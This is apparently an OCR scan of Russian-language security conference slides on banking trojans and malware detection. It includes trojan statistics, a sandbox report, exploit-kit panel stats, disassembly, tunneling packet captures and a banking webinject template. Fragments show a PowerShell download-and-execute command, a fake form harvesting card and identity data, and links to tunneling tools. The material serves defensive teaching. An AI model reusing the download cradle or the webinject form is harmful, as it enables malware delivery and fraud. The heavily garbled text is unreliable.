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* POoCT uncna BpeaoHOCOB
* KauecTtBeHHble N3MEHeHUA

= Total Malware

> 2400%
* HapywwuTtensb:

« pasboraten
* MOYMHeE
* CTa/ OpPraHN3oBaHHbIM

OueHka Ha 21.05.2017
237 000

e T N e A T LEUEVIRESINESS R
1-2017 10:08 Copyright @ AV-TEST GmbH, www.av-test.org
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Tinba 2.0 (2015-2017)
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* [Moka: . . IKaLUUW
CONFERENCE npu B The Top 10 Banking Trojans for 2017 4
 Atal
® npl/ ® Lfeus 8%
Nevergquest 17%
Gozi 16%
® Dridex 11%
® Ramnit 99
o yM ee-l ® GozNym 7%
Tinba 6%
* MNoa Gootkit 3% HOBJ1IeHUA
TONI Qadars 2%
Ronvix 196
* MNep KeH 6bITb
ayTe
 Ten« AHbI, rAe OH

The Top 10 Banking Trojans for 2017 / The Shifting Panorama of Global Financial Cybercrime, 1BM

yCTE X-Force
* CNoXXHO AeTeKkTUTb, cnypuTb

* Ecam 6nokmpytrotca URL, no kotopbiMm oH obwaetcsa ¢ CnC — reHepupyet
HOBbIE. (6)
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<!DOCTYPE HTML:>

JET
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< @ ()| 89.200.200.146//pah-stats/Functions/pah.js E] c 4+ A v 5T WA d & Qsearch

/*
This Javascript will en/decrypt a string using the HTML XOR algorithim
XORCRYPT Version 1.2

This version is much faster because it does not use Baseb64 encoding.
It is also more difficult to crack, because the key is as long as the
password, and the only way to hack it is to try every possible password.

The latest version has some small bugs cleaned up, reorganized decrypt
sequence and is now crossplatform, crossbrowser compatible with the

https://imaiwircomy aralysis/NDg2RZNTZTY0OGFhNDIyMTIKNWY5MDEzZTIlyNDdIMzU/

For more information on this very simple algorithim email me.

This script was written by:

Evan Jones, 1997

jonesev@home. com

You may use this script any way you wish as long as you email me and let me know.
*/

/* Create the encrypt table */

// The last char in the table is always the escape code

// The table is not quite 128 chars, it is 95 (minus the escape char)
// Values 93-127 must be escaped

var cryptTable=new String(" ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 1@#$%~&* ()" ' -=[1;,./7_+{}|:==");
var cryptLength=new Number(cryptTable.length-1) //93 Chars
var escapeChar=cryptTable.charAt(cryptLength); // The escape code is ~

var lineFeed="\n"; //The linefeed char - escaped to double escapeChar
var doubleQuote='""'; //Double quotes are escaped to ~'
var clearMessage=new Number(5000); //The number of ms to wait to clear the status bar message

/* This function uses the key and encrypts a string with the password */
// Encryption strips all linefeeds - but they are replaced upon decrypt
function encrypt(input, password)

e myvsal https://malwr.com/analysis/NDg2NzNmZTYOOGFhNDIyMTIkNWY5MDEzZTIyNDdIMzU/



https://malwr.com/analysis/NDg2NzNmZTY0OGFhNDIyMTlkNWY5MDEzZTIyNDdlMzU/
https://malwr.com/analysis/NDg2NzNmZTY0OGFhNDIyMTlkNWY5MDEzZTIyNDdlMzU/
https://malwr.com/analysis/NDg2NzNmZTY0OGFhNDIyMTlkNWY5MDEzZTIyNDdlMzU/
https://malwr.com/analysis/NDg2NzNmZTY0OGFhNDIyMTlkNWY5MDEzZTIyNDdlMzU/
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Quick Overview
Static Analysis
Behavioral Analysis
Network Analysis
Dropped Files

Comment Board (0)
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malwr s

Static Analysis  Strings

ANTIVIRUS

Bkav

MicroWorld-eScan

nProtect

CMC

CAT-QuickHeal

McAfee

Malwarebytes

Zillya
TheHacker
K7GW
K7AntiVirus
Baidu
F-Prot

Symantec

ESET-NOD32

TrendMicro
Avast
ClamAV
GData

Kaspersky

My otart
g Stal’f

-HouseCall

Page:1 of 1

Words: 6 | 8

1'-'3 word_sample_20160. .,

Attachment

SIGNATURE
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Total info

HITED HOSTS LOADS %
HITED : 12 HOSTS : 2 LOADS : 2
B 11 100 —
— | 50% .
——— —
Today Info € Chrome 3 3 0 0

HMITED: S HOSTS : 1 LOADS : 1

—_— | 100%

Yesterday Info

A
m

HITED HOSTS LOADS

¥ Windows XP 10 1 1
HITED : 7 HOSTS : 1 LOADS : 0 Ow.ndowsl 1 1 0
— | 0% | & Windows 2000 1 0 0
Jﬂ_] R
HITED HOSTS LOADS % & POF (ASx 0) 1 100
i India B 1 1 100 & - 0 0
£ United Kingdom 5 0 0 0  PS— — ]
@ United States 2 1 0 0 A @492
0 0 0 o [ J
T
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Total info

HITED HOSTS LOADS %
HITED : 12 HOSTS : 2 LOADS : 2
B 11 100 —
— | 50% .
——— —
Today Info € Chrome 3 3 0 0

HMITED: S HOSTS : 1 LOADS : 1

—_— | 100%

Yesterday Info

A
m

HITED HOSTS LOADS

¥ Windows XP 10 1 1
HITED : 7 HOSTS : 1 LOADS : 0 Ow.ndowsl 1 1 0
— | 0% | & Windows 2000 1 0 0
Jﬂ_] R
HITED HOSTS LOADS % & POF (ASx 0) 1 100
i India B 1 1 100 & - 0 0
£ United Kingdom 5 0 0 0  PS— — ]
@ United States 2 1 0 0 A @492
0 0 0 o [ J
T

x) (10)
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Lengtl Info
. ' KEY_INFO )

seqB00:01DB27EC ; communicate ¢ c+507j
segB808:81DB27EC lea edx, [ebx+4B85E66h] ; .
seq8080:081DB27F2 push edx
s eq000:01DB27F3 call dword ptr [ebx+48354Dh] ; inet_addr
1 Si¥ceq000:081DB27F9 test eax, eax
|C:\WINDOWS\Sy5t@". segBBB:B1DB2TFB jns short successful_response
N@t.Wa@bCl#@nt) . D seq000:61DB27FD lea edx, [ebx+405E66h] ; 1er.@xe@'s
c&mm!nd = "C:\WINg seq800:61DB28083 push edx i-Obj@ct
seqB800:01DB2804 call dword ptr [ebx+48355Fh] ; gethostbyname er.@x@"'""’

N@t .w@bCl#@nt) .D&]

segB8008:081DB286A test eax, eax

: seqg060:61DB286C j no_host

C:\WINDOWS\systenf] Hard A1 A5 & hhedddhhdlm]  cnm ¢ IEX ((New-Object
Net.WebClient).Dd: ' ea R t-Process 'ScannerDriver.exe'$
command = "C:\WINj ) i R L p -noexit -c IEX ((New-Object
BNet.WebClient) .Dg] qt GAtia L A EElio s - t-Process 'ScannerDriver.exe'"'

18h
SeqBA0:810DB2854 timestamp loop: ; CODE RREF: c_c_authentication_loop+18DJj
ceqdaa-a1DB285, pusha
seqB8088:81DB285S push 1
seqB08:81DB2857 call dword ptr [ebx+481893h] ; Sleep

seqB0a:a1bB285D popa
seqB0a:a1DB285E rdtsc
ceqBan:e1DBE28608
ceqaap:e1DB2861
Seqean:e1DB2862

ecx
short timestamp loop

© 2017 MHdocrctembl [xeT
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[ PEID v0.95 o] B (]

File: |F:\scripts\Collection of Viruses\camnae\1\66C6F 30DE. pe_, 03, unp. file0 III

O6XOA Ma, IPS, HPOKCM'cepBepa Entrypoint: 00001000 EP Section: | text B

File Offset: 00001000 FirstBytes: [68,18,87,41 | > |
* TyHHe'nVIPOBaHme DNS’ ICM P’ HTTP Linker Info: |11.12 Subsystem: | Win32 GUI B
e SSL

PECompact 2.x% -= Jeremy Collake

o ‘-IaCTO He HaCTpOGHO BCKp bITI/Ie Multi Scan Task Viewer COptions About | Exit |
* He ymeert v Stay on top 2] =]

* TOPMO3UT-OTKZIKOYEHO
« Custom encryption, obfuscation, ynakoBka, kogupoBaHue
» OTnpaBKa faHHbIX HacTAMM Ha pa3Hble cepBepbI

© 2017 MHdocnctemsl xer



DNS tunneling

AN @ @[RE Q< > k95

JET

dnstunnel«
3 Apply a display Filter ... <Ckrl-/> - jon... +
written b}l pply a display Filter rl- =3 -| Expression
EDNFERENEE modified [Ne. Time Destination | Protoco Length Info =
16 0.008104 10.9.2.30 DNS 188 Standard query response 0xe5T9 NULL zilbaA\320\321\322\323\324\325\3261\327\33.
17 0.808205 10.0.2.20 DNS 88 Standard query ©x0428 NULL sbhilc.pirate.sea OPT
US age . 18 0.0098334 10.0.2.30 DNS 96 Standard query response 8x@428 NULL sbhilc.pirate.sea NULL sbhilc.pirate.sea
" 19 0.008487 10.0.2.20 DNS 88 Standard query ©x2257 NULL obsild.pirate.sea OPT
Op't j_DnS 20 0.008920 10.9.2.30 DNS 95 Standard query response ©x2257 NULL obsild.pirate.sea NULL obsild.pirate.sea
21 0.808932 10.0.2.20 DNS 88 Standard query ©x4886 NULL oblile.pirate.sea OPT
-r 22 0.809097 16.8.2.30 DNS 93 Standard query response 8x4@86 NULL oblile.pirate.sea NULL oblile.pirate.sea
-m 23 0.009246 10.0.2.20 DNS 323 Standard query ©x5eb5 NULL rcyadY\3@6%\352\324Rv\310\343Y\32754324Rv\310N343Y"\..
24 0.009591 10.6.2.30 DNS 1892 standard query response ©x5eb5 NULL rcyadY\386\352\324Rv\310\343Y\327S\324Rv"\..
- C 25 N AOOS0TY 40 0 92 20 (a11]d 2722 Chrandard munara OwTeanAd KL rAAAATIVIEIN PAAT=A DA DAAT A DA DAAT A DIAINDAAT =N 24 W
» Frame 29: 323 bytes on wire (2584 bits), 323 bytes captured (2584 bits)
= p » Ethernet II, Src: CadmusCo_9c:e@:b4 (08:80:27:9c:e@:b4), Dst: CadmusCo_c7:G6e:ba (08:00:27:c7:6e:ba)
i .I: » Internet Protocol Version 4, Src: 18.0.2.30, Dst: 10.0.2.20
» User Datagram Protocol, Src Port: 44639 (44639), Dst Port: 53 (53)
-Uu * Domain MName System (query)
Transaction ID: @xd771
= d » Flags: 0x@108 Standard query
R Questions: 1
MDdES " Answer RRs: @
fai’ Authority RRs: @
. Additional RRs: 1
clrt v Queries
¥ [truncated]rdkad@\3064\353w\311L\328\3478\330Tw 3111 432043470M330Tw\311L\320\3470\330TwA\311L 4320434704 330Tw 311L\328\3470" 3381
rand Name [truncated]: rdkad@\306%353wh\311L\320%3470N\330TwA\311L\320%34704330Tw 311LM\32003470N330TWA\311LN\320\3470\330Twh311L 320"
Examp]_e [Mame Length: 252]
[Label Count: 7]
ssh Type: NULL RR (18)
EOD Class: IN (Bx8801)
» Additional records
exit .
1 3 3 v

© ? Textitem (text), 258 bytes Packets: 438 - Displayed: 438 (100.0%) - Load time: 0:0.2 - Profile: Default

© 2017 Vndocuctembl Axet
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*any
WA® @ XE QC I8 = @ =2 wE
Time Source Destination  Protoco Length Info
14 ] 1 ICMP 184 Destination re

4 B457 16.103.8.180

03.8.180 ICH 184 Destination unreacha chable)
6289 34.309017970 10.183.8.188

ICHP 544 Echo {ping) request id-8x@061, seq=69/17664,

[CMP tunneling

tt1=127 (no response found!)

~ | Expression...

+

» Linux cooked capture
» Internet Protocol Version 4, Src: 10.103.8.180, Dst: 8.8.8.8
v Internet Control Message Protocol

Type: 8 (Echo (ping) request)

Code: @

Checksum: @x2df3 [correct]

Identifier (BE): 1 (Ox0001)

Identifier (LE): 256 (©x0180)

Sequence number (BE): 69 (8x8845)

Sequence number (LE): 17664 (0x4500)

+ [No response seen]

v Data (58€ bytes)

Data: 6162636465666768696a6b6cbd6e6TTOTI7273T747576776L. ..

@8 ©8 @8 ©8 98 @0 2d f3 00 01 @0 45 61 62 63 64 ...... -. ...Eabcd
65 66 67 68 69 6a 6b 6c 6d 6e 6F 780 71 72 73 74 efghijkl mnopqrst
75 76 77 61 62 63 64 65 66 67 68 69 Ga 6b 6c 6d uvwabcde Tghijklm
G6e 6F 7@ 71 72 73 74 75 76 77 61 62 63 64 65 66 nopqrstu vwabcdef
67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 ghijklmn opgrstuv
77 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f wabcdefg hijklmno
78 71 72 73 74 75 76 77 61 62 63 64 65 66 67 68 pgrstuvw abcdefgh
69 6a 6b 6c 6d Ge 6F 70 71 72 73 74 75 76 77 61 ijklmnop gqrstuvwa
62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 67 70 71  bcdefghi jklmnopq
72 73 74 75 76 77 61 62 63 64 65 66 67 68 69 6a rstuvwab cdefghij
6b 6c 6d 6e B6F 70 71 72 73 74 75 76 77 61 62 63 klmnopgr stuwwabc
64 65 66 67 68 69 6a 6b 6c 6d G6e 6F 70 71 72 73  defghijk lmnopgrs
74 75 76 77 61 62 63 64 65 66 67 68 69 6a 6b 6c  tuvwabcd efghijkl

© 7 Length (data.len)

Packets: 1604 - Displayed: 14 (0.9%)

Profile: Default



https://sourceforge.net/projects/itun/
https://github.com/DhavalKapil/icmptunnel
http://freecode.com/projects/ptunnel/

HTTP tunneling
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No. Time Source Destination  Protoco Length Info [

385 21.612879322 10.30.1.131 10.163.8.180 HTTP 531 HTTP/1.1 4084 Not Found (text/html)

7601 38.603773913 10.103.8.180 193.203.100... HTTP 299 CONNECT stats-public.grammarly.io:443 HTTP/1.1
786 38.739392512 193.203.160.139 10.163.8.188 HTTP 187 HTTP/1.1 200 Connection established

» Transmission Control Protocol, Src Port: 46592 (46592), Dst Port: 8080 (8880), Seq: 1, Ack: 1, Len: 231

¥ Hypertext Transfer Protocol

CONNECT stats-public.grammarly.io:443 HTTP/1.1\r\n ‘

User-Agent: Mozilla/5.8 (X¥11; Ubuntu; Linux x86_64; rv:50.0) Gecko /20108181 Firefox/50.0\r\n

Proxy-Connection: keep-alive\rin
Coannectionn: keen-aliwvehrin

00 84 00 81 00 @6 c4 54 44 48 ©d 64 91 20 @B B0 ....... TDH.d. .
45 @0 01 1b 31 c3 40 60 40 @6 ce aB Pa 67 68 b4 E...1.@. @....9..
cl cb 64 Bb b6 @0 1f 9@ 15 8d T2 89 7b c4 90 98 Y (R .
80 18 08 e5 ef ee 00 @@ ©1 01 €8 9a @0 @1 c3 ca

Bo4a d5 81 @5

Be58

e 1o]51]

ol

6c 6c 61 2Ff 35 2e 30 20 28 58 31 31 Mozilla/ 5.0 (X11
75 6e 74 75 3b 20 4c 69 6e 75 78 20 ; Ubuntu ; Linux
36 34 3b 20 72 76 3a 35 30 2e 30 29 xB6_64; rv:50.0)
6b 6f 2f 32 30 31 30 30 31 30 31 20 Gecko/2 B106101
66 6f 78 2f 35 30 2e 30 0d Ba 50 72 Firefox/ 58.8..Pr
43 6f 6e Ge 65 63 74 69 6F G6e 3a 20 oxy-Conn ection:
2d 61 6c 69 76 65 Od Ba 43 6T Ge Ge  keep-ali ve..Conn
6T Ge 3a 20 &b 65 65 70 2d 61 6c 69 ection: keep-ali
48 6f 73 74 3a 20 73 74 61 74 73 2d  ve..Host : stats-
69 63 2e 67 72 61 G6d 6d 61 72 6c 79 public.g rammarly
34 34 33 0d ©a @d Ba .10:443,

O # Textitem (text), 48 bytes Packets: 10290 - Displayed: 1031 (10.0%) Profile: Default

© 2017 Vndocuctembl Axet
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n)‘ K TrapX Management

rapx.com

26200734

26200733

Hdoctaeka

Exploit (0-day)

Files
PSEXE

file.ex

Incidents

02:58:

02:58:
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02:5834

PacrnpocTpaHeHMe B CetT

Connect \\10

Croate Filer (¢

Arbor Spectrum

Host ®¥192.168.27.50

Date Range = 2016-06-24 04:40 — 2016-06-24 05:20

et -t hnr

Indicators: 5 wign:1 - medium:2 - Low:2

2 tndcalon i o8 howr

] total Teamic

Inbound
Tratt
ottc [] setected Moats Trattc
Outbound
Tratic
Indicators ‘
Plugk -391096 2 o
Output o11d commana ¢
Port Scans o O
Top 25 Traffic Connections
inbound 192.168.27.50 Outhound
B V16808027
B8R 121@2778
3 210968
TCP 514 TCP 80
116.60.60.27 116,60 6027
TCP 80 I I TCP 514
TCP 39591
op 25— | "10R 3059
TCP 513 —
40 others for 116 60,60 27 30 guses Ur V600027
TCP 407 6P 407
CP a1 6P 41
TCP 529 6P 529
TCP 419 6P 419
TCP 403 TCP 409
TcP 50727 TCP 50727
TCP 33053 TCP 33053
TCP 36604 TCP 36604
40 others for 192.168.27.78 40 others for 192.168.27.78
TCP 52633 s
--192:168:27.78 6P 60520 }SZ zgggg 192.168:27:78==
TCP 53613 TCP 53613
TCP 60697 TCP 60697
TCP 44957 TCP 34847
TCP 34947 TCP 44957
TCP 53813 CP 53813
- 3910368 TCP 51168 M we TCP 51168 3910968 ==

Q4+ A O

w B

-

wed
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} else if (bank — [N 1
login elements = [priv getElement.bvAttrs({
”:“) Cur system is currently updating, please praovide the following information so that we can
i

verify your identity. We apologize for the inconvenience.

CONFERENCE

Card Number: |

Expiration Date: | Menth j|

What is this?

iear v“

Mame on Your card:

set_url Address:
data_before
<head#*= City:
data_end
data_inject State:
<script>document.write('<

| e())+'"></scr'+'ipt>"');</script>

|
|
|
|
|
Phone: | | i | | i | |
|
|
|
|

data_end ZIP:
data_after
data_end
set_url
data_before Social security number: [ - | | - | |
data_end
data_inject Date of Birth; Menth =] | Dﬂ}fj| mEﬂr;"
<script>document.write('< ] e())+'"s</scr'+'ipt>');</scripts
data_end Mother's Maiden Name: |
data_after
</head> Driver Licenze Number and Exp. Date: | | Month ;|| weﬂr;"
data_end
Confirm
I
}

(19)
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